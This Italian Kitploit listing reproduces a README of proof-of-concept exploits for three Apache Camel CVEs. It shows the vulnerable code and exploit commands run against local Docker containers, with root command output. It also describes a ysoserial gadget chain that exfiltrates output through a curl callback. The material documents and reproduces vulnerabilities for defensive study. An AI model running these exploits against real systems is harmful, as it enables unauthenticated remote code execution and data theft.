Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-33453 — Fornisce proof-of-concept exploit funzionanti e analisi dettagliata per tre vulnerabilità critiche di Apache Camel, inclusa l'iniezione di header CoAP e la deserializzazione non sicura che porta all'esecuzione remota di codice. | Kitploit
Strumenti/GitHubGitHub/dinosn/cve-2026-33453
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingApprendimento e FormazioneRed TeamingBinary Exploitation
GitHubdinosn/cve-2026-33453

CVE-2026-33453

Fornisce proof-of-concept exploit funzionanti e analisi dettagliata per tre vulnerabilità critiche di Apache Camel, inclusa l'iniezione di header CoAP e la deserializzazione non sicura che porta all'esecuzione remota di codice.

Vedi Repository
4 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

Apache Camel 4.18.0 — Valutazione della Sicurezza CVE

Tre vulnerabilità critiche in Apache Camel 4.18.0, scoperte e validate in modo indipendente con proof-of-concept funzionanti.

CVEComponenteTipoCVSSVerdetto
CVE-2026-33453camel-coapHeader Injection → RCE10.0 CriticoSfruttabile
CVE-2026-40473camel-minaDeserializzazione non sicura → RCE9.8 CriticoSfruttabile
CVE-2026-40858camel-infinispanDeserializzazione non sicura8.8 AltoSfruttabile

CVE-2026-33453: CoAP Header Injection → Esecuzione di Codice Remoto

Componente: camel-coap — CamelCoapResource.java:103-109 CWE: CWE-915 (Modifica Controllata Impropriamente degli Attributi degli Oggetti) Corretto in: Camel 4.18.1 / 4.14.6

Causa Principale

CamelCoapResource.handleRequest() mappa i parametri della query URI CoAP direttamente negli header Camel Exchange tramite setHeader() senza alcun HeaderFilterStrategy. CoAPEndpoint estende DefaultEndpoint invece di DefaultHeaderFilterStrategyEndpoint, quindi gli header interni con prefisso Camel* possono essere iniettati da qualsiasi client non autenticato.

Quando la route inoltra a camel-exec, gli header controllati dall'attaccante CamelExecCommandExecutable e CamelExecCommandArgs sovrascrivono il comando configurato, ottenendo RCE pre-autenticato tramite un singolo pacchetto UDP.

root@kitploit:~
// CamelCoapResource.java:103-109 — NESSUN HeaderFilterStrategy
for (String s : options.getUriQuery()) {
    int i = s.indexOf('=');
    if (i == -1) {
        camelExchange.getIn().setHeader(s, "");
    } else {
        camelExchange.getIn().setHeader(s.substring(0, i), s.substring(i + 1));
    }
}

Risultato PoC

CoAP RCE PoC

root@kitploit:~
$ python3 exploits/exploit_cve_2026_33453_coap.py 127.0.0.1 'cat /etc/hostname'
[+] Risposta: 2.05
[+] Output del comando: cf6ee154412e

$ python3 exploits/exploit_cve_2026_33453_coap.py 127.0.0.1 'ls /'
[+] Output del comando: app bin boot dev etc home lib ...

CVE-2026-40473: Deserializzazione non sicura MINA → Esecuzione di Codice Remoto

Componente: camel-mina — MinaConverter.java:60-63 CWE: CWE-502 (Deserializzazione di Dati Non Attendibili) Corretto in: Camel 4.18.2 / 4.14.6 / 4.20.0

Causa Principale

MinaConverter.toObjectInput(IoBuffer) crea un java.io.ObjectInputStream grezzo senza alcun ObjectInputFilter. Quando un endpoint MINA è configurato con allowDefaultCodec=false, i dati TCP grezzi arrivano come IoBuffer e raggiungono il type converter di Camel, che chiama questo metodo — avvolgendo i byte di rete controllati dall'attaccante in un ObjectInputStream non filtrato.

root@kitploit:~
// MinaConverter.java:60-63 — NESSUN ObjectInputFilter
@Converter
public static ObjectInput toObjectInput(IoBuffer buffer) throws IOException {
    InputStream is = toInputStream(buffer);
    return new ObjectInputStream(is);  // byte controllati dall'attaccante, NESSUN FILTRO
}

Percorso di attacco: L'exploit prende di mira un endpoint TCP MINA con allowDefaultCodec=false (porta 9879 nel PoC). Questo bypassa completamente il layer codec di MINA — ObjectSerializationCodecFactory ha la propria allowlist ClassNameMatcher che altrimenti bloccherebbe classi arbitrarie. Con il codec disabilitato, i byte grezzi fluiscono direttamente a MinaConverter.toObjectInput() che crea un ObjectInputStream standard con zero filtri sulle classi.

Una catena di gadget CommonsCollections6 (tramite ysoserial) ottiene l'esecuzione arbitraria di comandi come root. L'output del comando viene esfiltrato tramite un callback curl verso l'attaccante.

Risultato PoC

MINA RCE PoC

root@kitploit:~
$ python3 exploits/exploit_cve_2026_40473_mina.py 127.0.0.1 9879 id
[+] Output del comando:
    uid=0(root) gid=0(root) groups=0(root)
[+] CONFERMATO: CVE-2026-40473 RCE — comando eseguito tramite deserializzazione

$ python3 exploits/exploit_cve_2026_40473_mina.py 127.0.0.1 9879 'uname -a'
[+] Output del comando:
    Linux 8b1462d5c89d 6.12.76-linuxkit #1 SMP Sun Mar  8 14:41:59 UTC 2026 aarch64 GNU/Linux

Riproduzione di CVE-2026-40473 Passo dopo Passo

Prerequisiti

  • Docker e Docker Compose
  • Python 3.8+
  • Java 17+ (per ysoserial)
  • ysoserial — ysoserial-all.jar (gadget CommonsCollections6)

Passo 1: Creare e Avviare il Server Vulnerabile

root@kitploit:~
cd poc/
docker compose up -d --build

Attendere l'avvio del container, quindi verificare:

root@kitploit:~
docker logs vuln-camel-mina

Dovresti vedere:

MINA Setup

root@kitploit:~
[*] Server MINA vulnerabile avviato
[*] Porta 9877: endpoint transferExchange (deser Java)
[*] Porta 9878: endpoint codec serializzazione oggetti
[*] Porta 9879: TCP grezzo (MinaConverter.toObjectInput) endpoint
[*] In attesa di connessioni...

La porta 9879 è il bersaglio — utilizza allowDefaultCodec=false, che disabilita il filtro codec di MINA e consente al IoBuffer grezzo di raggiungere il MinaConverter.toObjectInput() non filtrato di Camel.

Passo 2: Confermare la Deserializzazione (Modalità Probe)

Prima, verificare che l'endpoint accetti e deserializzi oggetti Java arbitrari senza alcun ObjectInputFilter:

root@kitploit:~
python3 poc/exploits/exploit_cve_2026_40473_mina.py 127.0.0.1 9879 --probe

MINA Probe

root@kitploit:~
[*] Modalità probe — conferma della deserializzazione (senza RCE)
[*] Payload: HashMap (82 byte, grezzo — nessun frame MINA)
[+] Connesso all'endpoint MINA
[+] Payload inviato
[+] I dati hanno raggiunto readObject() senza rifiuto del filtro

Il probe invia una HashMap serializzata. Il server la deserializza tramite ObjectInputStream.readObject() senza alcuna InvalidClassException — confermando zero filtri sulle classi.

Passo 3: Eseguire Comandi (RCE Completo)

Con ysoserial disponibile, sfruttare la deserializzazione non filtrata per l'esecuzione arbitraria di comandi:

root@kitploit:~
# Esegui 'id' — restituisce uid=0(root)
python3 poc/exploits/exploit_cve_2026_40473_mina.py 127.0.0.1 9879 id

# Leggi file
python3 poc/exploits/exploit_cve_2026_40473_mina.py 127.0.0.1 9879 'cat /etc/hostname'

# Info di sistema
python3 poc/exploits/exploit_cve_2026_40473_mina.py 127.0.0.1 9879 'uname -a'

L'exploit genera una catena di gadget CommonsCollections6, la invia come byte grezzi alla porta 9879 e cattura l'output del comando tramite un listener di callback curl.

Opzioni dell'Exploit

root@kitploit:~
usage: exploit_cve_2026_40473_mina.py [-h] [--ysoserial PATH] [--callback-host HOST]
                                       [--gadget GADGET] [--probe] [--raw]
                                       target [port] [command]

  target           IP/hostname del bersaglio
  port             Porta TCP MINA (default: 9879)
  command          Comando da eseguire (default: id)
  --ysoserial      Percorso a ysoserial.jar (rilevato automaticamente se non impostato)
  --callback-host  Host che il container usa per raggiungerti (default: host.docker.internal)
  --gadget         Catena di gadget ysoserial (default: auto — prova CC6, CC5, CC1)
  --probe          Solo modalità probe — conferma la deserializzazione senza RCE
  --raw            Invia payload grezzo senza frame MINA a 4 byte (auto-attivato per la porta 9879)

Nota: Il --callback-host predefinito è host.docker.internal (Docker Desktop). Se si esegue su Linux senza Docker Desktop, usare --callback-host 172.17.0.1 o il proprio IP del bridge Docker.

Passo 4: Pulizia

root@kitploit:~
cd poc/
docker compose down

CVE-2026-40858: Deserializzazione non sicura Infinispan

Componente: camel-infinispan — DefaultExchangeHolderUtils.java:46-53 CWE: CWE-502 (Deserializzazione di Dati Non Attendibili) Corretto in: Camel 4.18.2 / 4.14.7 / 4.20.0

Causa Principale

DefaultExchangeHolderUtils.deserialize(byte[]) crea un ClassLoadingAwareObjectInputStream senza alcun ObjectInputFilter. Il DefaultExchangeHolderProtoAdapter instrada i byte della cache Infinispan direttamente a questo metodo. Un attaccante con accesso in scrittura alla cache (porta Hot Rod 11222 o API REST) inietta un payload serializzato malevolo che viene deserializzato quando il repository di aggregazione recupera la chiave.

Questo è lo stesso pattern di vulnerabilità di CVE-2024-22369, CVE-2024-23114 e CVE-2026-25747 — tutte istanze non corrette di readObject() senza un ObjectInputFilter nei percorsi di deserializzazione di Camel.

root@kitploit:~
// DefaultExchangeHolderUtils.java:46-53 — NESSUN ObjectInputFilter
static DefaultExchangeHolder deserialize(byte[] bytes) {
    try (ByteArrayInputStream bais = new ByteArrayInputStream(bytes);
         ObjectInputStream ois = new ClassLoadingAwareObjectInputStream(bais)) {
        return (DefaultExchangeHolder) ois.readObject();  // controllato dall'attaccante
    }
}

Codice Vulnerabile

Infinispan Vulnerable Code


Codice Vulnerabile Annotato

Vulnerable Code Annotated


Riproduzione di Tutte e Tre le CVE

Prerequisiti

  • Docker e Docker Compose
  • Python 3.8+
  • Java 17+ (per ysoserial)
  • ysoserial per catene di gadget RCE complete (CVE-2026-40473)

Creazione ed Esecuzione

root@kitploit:~
cd poc/
docker compose up -d --build

Questo avvia:

  • vuln-camel-coap — endpoint CoAP sulla porta UDP 5683 con route camel-exec
  • vuln-camel-mina — endpoint TCP MINA sulle porte 9877 (transferExchange), 9878 (ObjectSerializationCodecFactory) e 9879 (TCP grezzo — bersaglio di attacco primario)
  • infinispan — server Infinispan sulla porta 11222
  • vuln-camel-infinispan — repository di aggregazione Camel basato su Infinispan

Eseguire gli Exploit

root@kitploit:~
# CVE-2026-33453: CoAP Header Injection → RCE
python3 poc/exploits/exploit_cve_2026_33453_coap.py 127.0.0.1 'id'

# CVE-2026-40473: MINA Deserializzazione non sicura → RCE (vedi istruzioni dettagliate sopra)
python3 poc/exploits/exploit_cve_2026_40473_mina.py 127.0.0.1 9879 id

# CVE-2026-40858: Infinispan Deserializzazione non sicura
python3 poc/exploits/exploit_cve_2026_40858_infinispan.py 127.0.0.1 11222

Pulizia

root@kitploit:~
cd poc/
docker compose down

Processo di Valutazione

Questa valutazione è stata eseguita utilizzando il framework di ricerca sulla sicurezza autonomo RAPTOR:

  1. Ricerca — Identificate tutte e 3 le CVE, incrociati i commit di correzione per determinare Apache Camel 4.18.0 come unica versione vulnerabile
  2. Acquisizione del codice sorgente — Scaricati i componenti vulnerabili tramite git sparse-checkout (camel-coap, camel-mina, camel-infinispan)
  3. Scansione (/scan) — Scoperta automatizzata delle vulnerabilità su tutti e 3 i componenti
  4. Comprensione (/understand --map) — Mappatura della superficie di attacco: punti di ingresso, confini di fiducia, sink, flussi di dati non controllati
  5. Validazione (/validate) — Pipeline completa di validazione della sfruttabilità in 8 fasi (Fasi 0 → A → B → C → D → E → F → 1) che conferma che tutti e 3 i risultati sono reali, raggiungibili e sfruttabili
  6. Exploit (/exploit) — Sviluppo di PoC funzionanti con ambiente di test basato su Docker
  7. Documentazione — Screenshot, report degli exploit e questo README

Correzioni

CVEVersione di CorrezioneModifica
CVE-2026-334534.18.1 / 4.14.6CoAPEndpoint → estende DefaultHeaderFilterStrategyEndpoint; CoAPComponent → implementa HeaderFilterStrategyComponent
CVE-2026-404734.18.2 / 4.14.6 / 4.20.0Aggiunto ObjectInputFilter.Config.createFilter("java.**;javax.**;org.apache.camel.**;!*") prima di readObject()
CVE-2026-408584.18.2 / 4.14.7 / 4.20.0Aggiunta allowlist ObjectInputFilter (stesso pattern); fallback al filtro serial JVM se configurato

Disclaimer

Questa ricerca è destinata esclusivamente a test di sicurezza autorizzati e scopi educativi. Tutti gli exploit sono stati testati contro container Docker costruiti localmente che eseguono software vulnerabile. Aggiornare alle versioni corrette elencate sopra.

Scarica lo strumento